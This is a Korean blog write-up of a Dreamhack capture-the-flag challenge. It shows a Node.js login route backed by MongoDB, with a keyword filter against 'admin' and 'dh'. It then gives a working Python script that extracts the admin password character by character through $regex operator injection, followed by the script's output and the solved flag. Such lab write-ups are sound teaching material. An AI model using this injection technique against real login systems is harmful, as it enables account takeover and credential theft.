728x90

Blind SQL Injection

쿼리가 참/거짓임을 구분할 수 있는 정보를 가지고 데이터를 추론해 나가는 공격이다.

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

upw는 DH{32자리 알파벳&숫자 조합} 형태로 DB에 저장되어 있다.

/login 페이지에서 URL 쿼리를 받아서 필터링한다. 쿼리에 admin, dh, admi가 있으면 필터링된다.

없으면 uid와 upw 인자로 전달한 값이 uid, upw 변수에 각각 저장된다.

user collection에서 uid와 upw키에 해당하는 값이 uid, upw 변수의 값과 일치하는 첫 번째 행을 반환하고 uid 키의 값만을 출력한다.

파이썬 코드를 이용하여 Blind SQL Injection 공격을 수행한다.

import requests
import string
 
url = "http://host3.dreamhack.games:11000/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase
result = "" 
for i in range(32): 
    for key, val in enumerate(s): 
        payload = "?uid[$gt]=^adm&upw[$regex]={"+(result+val)
        r = requests.get(url+payload)
        
        if r.text.find("admin")!=-1: 
            result += val
            print(result)
            break
 
flag = "DH{"+result+"}"
print(flag)

string.digits: 0123456789 문자열

string.ascii_uppercase: ABCD...XYZ 문자열

string.ascii_lowercase: abcd....xyz

enumerate(s) 함수는 0~9A~Za~z 문자열을 index와 문자쌍으로 이루어진 enumerate 객체 반환

payload = "?uid[$regex]=^adm&upw[$regex]={"+(result+val): $regex는 정규표현식을 의미한다. uid에 정규표현식으로 ^adm을 대입하고 upw에는 정규표현식으로 '{문자열' 형태로 대입한다. admin을 필터링하기에 정규표현식을 썼고 ^adm은 adm으로 시작하는 문자열에 해당한다. ^을 빼고 adm만 써도 문제는 풀 수 있다. '{문자열'을 포함하는 upw를 찾는다. 여기서 문자열은 비밀번호를 의미한다.

참고로 payload에서 & 문자 옆에 띄워쓰기하면 admin이 반환될 payload여도 undefined가 반환된다.

uid와 upw 정규표현식을 만족한다면 웹 페이지에 admin을 출력한다. admin 출력여부를 가지고 Blind SQL Injection을 통해 비밀번호를 한 자리씩 알아내고 알아낸 비밀번호를 이용해 비밀번호의 다음 문자를 찾아가는 방식이다.

8
89e
89e5
(생략)
89e50fa6fafe2604e33c0ba05843d
89e50fa6fafe2604e33c0ba05843d3
89e50fa6fafe2604e33c0ba05843d3d
89e50fa6fafe2604e33c0ba05843d3df
DH{89e50fa6fafe2604e33c0ba05843d3df}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12

+ Recent posts